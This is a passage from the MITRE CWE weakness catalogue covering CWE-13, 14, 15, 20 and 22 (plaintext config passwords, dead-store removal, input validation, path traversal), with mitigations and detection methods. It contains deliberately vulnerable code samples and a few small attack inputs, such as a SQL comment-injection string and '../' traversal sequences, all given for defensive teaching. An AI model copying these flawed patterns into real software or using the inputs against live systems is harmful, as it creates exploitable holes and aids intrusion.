## CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID : 13

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	V	260	Password in Configuration File	546

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	519	.NET Environment Issues	1557

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Implementation

Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

### Demonstrative Examples

#### Example 1:

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET

(bad)

```
...<connectionStrings><add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /></connectionStrings>...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

### MemberOf Relationships

## CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID : 14

Status: Draft

Structure : Simple

Abstraction : Variant

## Description

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

## Extended Description

This compiler optimization error occurs when: 1. Secret data are stored in memory. 2. The secret data are scrubbed from memory by overwriting its contents. 3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	733	Compiler Optimization Removal or Modification of Security-critical Code	1290

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	B	733	Compiler Optimization Removal or Modification of Security-critical Code	1290

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Memory Bypass Protection Mechanism	
<p><i>This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.</i></p>		

## Detection Methods

### Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

### White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

## Potential Mitigations

**Phase: Implementation**

Store the sensitive data in a "volatile" memory location if available.

### Phase: Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

### Phase: Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

## Demonstrative Examples

### Example 1:

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

Example Language: C

(bad)

```
void GetData(char *MFAddr) { char pwd[64];if (GetPasswordFromUser(pwd, sizeof(pwd))) { if
(ConnectToMainframe(MFAddr, pwd)) { // Interaction with mainframe } }memset(pwd, 0, sizeof(pwd)); }
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

## Affected Resources

- Memory

## CWE-15: External Control of System or Configuration Setting

**Weakness ID** : 15

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

One or more system settings or configuration elements can be externally controlled by a user.

### Extended Description

Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1134
ChildOf		642	External Control of Critical State Data	1177

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		642	External Control of Critical State Data	1177

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

#### Phase: Implementation

#### Phase: Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

#### Phase: Implementation

#### Phase: Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

### Demonstrative Examples

#### Example 1:

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

*Example Language: C*

*(bad)*

```
...sethostid(argv[1]);...
```

Although a process must be privileged to successfully invoke `sethostid()`, unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

#### Example 2:

The following Java code snippet reads a string from an `HttpServletRequest` and sets it as the active catalog for a database Connection.

Example Language: Java

(bad)

```
...conn.setCatalog(request.getParameter("catalog"));...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

13	Subverting Environment Variable Values
69	Target Programs with Elevated Privileges
76	Manipulating Web Input to File System Calls
77	Manipulating User-Controlled Variables
146	XML Schema Poisoning

## CWE-20: Improper Input Validation

<b>Weakness ID</b> : 20	<b>Status</b> : Usable
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

### Extended Description

When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.</i>	
Confidentiality	Read Memory Read Files or Directories  <i>An attacker could read confidential data if they are able to control resource references.</i>	
Integrity Confidentiality Availability	Modify Memory Execute Unauthorized Code or Commands  <i>An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.</i>	

## Detection Methods

### Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

### Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

### Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = High*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer Cost effective for partial coverage: Host Application Interface Scanner Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = High*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

*Strategy = Input Validation*

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

#### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

#### **Phase: Architecture and Design**

#### **Phase: Implementation**

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases,

and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

**Phase: Implementation**

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

**Phase: Implementation**

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

**Phase: Implementation**

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

**Phase: Implementation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated

canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

### Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

### Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

## Demonstrative Examples

### Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

*Example Language: Java*

*(bad)*

```
...public static final double price = 20.00;int quantity = currentUser.getAttribute("quantity");double total = price * quantity;chargeUser(total);...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

### Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

*Example Language: C*

*(bad)*

```
...#define MAX_DIM 100... /* board dimensions */ int m,n, error;board_square_t *board;printf("Please specify the board height: \n");error = scanf("%d", &m);if ( EOF == error ){die("No integer passed: Die evil hacker!\n");}printf("Please specify the board width: \n");error = scanf("%d", &n);if ( EOF == error ){die("No integer passed: Die evil hacker!\n");}if ( m > MAX_DIM || n > MAX_DIM ) {die("Value too large: Die evil hacker!\n");}board = (board_square_t*) malloc( m * n * sizeof(board_square_t));...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

### Example 3:

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

Example Language: PHP

(bad)

```
$birthday = $_GET['birthday'];$homepage = $_GET['homepage'];echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for \$birthday to be in a date format and \$homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the \$birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

Example Language:

(attack)

```
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

#### Example 4:

This function attempts to extract a pair of numbers from a user-supplied string.

Example Language: C

(bad)

```
void parse_data(char *untrusted_input){ int m, n, error;error = sscanf(untrusted_input, "%d:%d", &m, &n);if ( EOF == error ) {die("Did not specify integer value. Die evil hacker!\n");} /* proceed assuming n and m are initialized correctly */ }
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

Example Language:

(attack)

```
123:
```

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

#### Example 5:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Example Language: Java

(bad)

```
private void buildList ( int untrustedListSize ){if ( 0 > untrustedListSize ){die("Negative value supplied for list size, die evil hacker!");}Widget[] list = new Widget [ untrustedListSize ];list[0] = new Widget();}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

#### Example 6:

This application has registered to handle a URL when sent an intent:

Example Language: Java

(bad)

```
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");MyReceiver
receiver = new MyReceiver();registerReceiver(receiver, filter); ... public class UrlHandlerReceiver
extends BroadcastReceiver { @Overridepublic void onReceive(Context context, Intent intent)
{ if("com.example.URLHandler.openURL".equals(intent.getAction())) {String URL = intent.getStringExtra("URLToOpen");int
length = URL.length(); ... } } }
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

### Observed Examples

Reference	Description
<b>CVE-2008-5305</b>	Eval injection in Perl program using an ID that should only contain hyphens and numbers. <i><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5305">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5305</a></i>

MemberOf		994	SFP Secondary Cluster: Tainted Input to Variable	888	1644
MemberOf		1005	7PK - Input Validation and Representation	700	1648

## Notes

### Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

### Applicable Platform

Input validation can be a problem in any system that receives data from an external source.

### Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

### Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships. Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."

### Research Gap

There is not much research into the classification of input validation techniques and their application. Many publicly-disclosed vulnerabilities simply characterize a problem as "input validation" without providing more specific details that might contribute to a deeper understanding of validation techniques and the weaknesses they can prevent or reduce. Validation is over-emphasized in contrast to other neutralization techniques such as filtering and enforcement by conversion. See the vulnerability theory paper.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Input validation and representation
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't

CAPEC-ID	Attack Pattern Name
109	Object Relational Mapping Injection
110	SQL Injection through SOAP Parameter Tampering
135	Format String Injection
136	LDAP Injection
182	Flash Injection
209	XSS Using MIME Type Mismatch
230	XML Nested Payloads
231	XML Oversized Payloads
250	XML Injection
267	Leverage Alternate Encoding
473	Signature Spoof
484	XML Client-Side Attack
588	DOM-Based XSS
591	Reflected XSS
592	Stored XSS

## CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

**Weakness ID** : 22

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

### Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as "." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in

accessing unexpected files. This is referred to as absolute path traversal. In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1223
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1276
ParentOf		23	Relative Path Traversal	39
ParentOf		36	Absolute Path Traversal	67
CanFollow		20	Improper Input Validation	17
CanFollow		73	External Control of File Name or Path	125
CanFollow		172	Encoding Error	388

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		21	Pathname Traversal and Equivalence Errors	1534
ParentOf		23	Relative Path Traversal	39
ParentOf		36	Absolute Path Traversal	67

## Weakness Ordinalities

**Primary :**

**Resultant :**

## Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

## Alternate Terms

**Directory traversal :**

**Path traversal :** "Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories  <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism.</i>	

Scope	Impact	Likelihood
	<i>For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories  <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</i>	

## Detection Methods

### Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

*Effectiveness = High*

### Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

*Effectiveness = High*

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis  
Cost effective for partial coverage: Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = High*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

*Effectiveness = High*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../.." string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

#### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to

remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Implementation**

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: `realpath()` in C `getCanonicalPath()` in Java `GetFullPath()` in ASP.NET `realpath()` or `abs_path()` in Perl `realpath()` in PHP

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` [REF-185] provide this capability.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

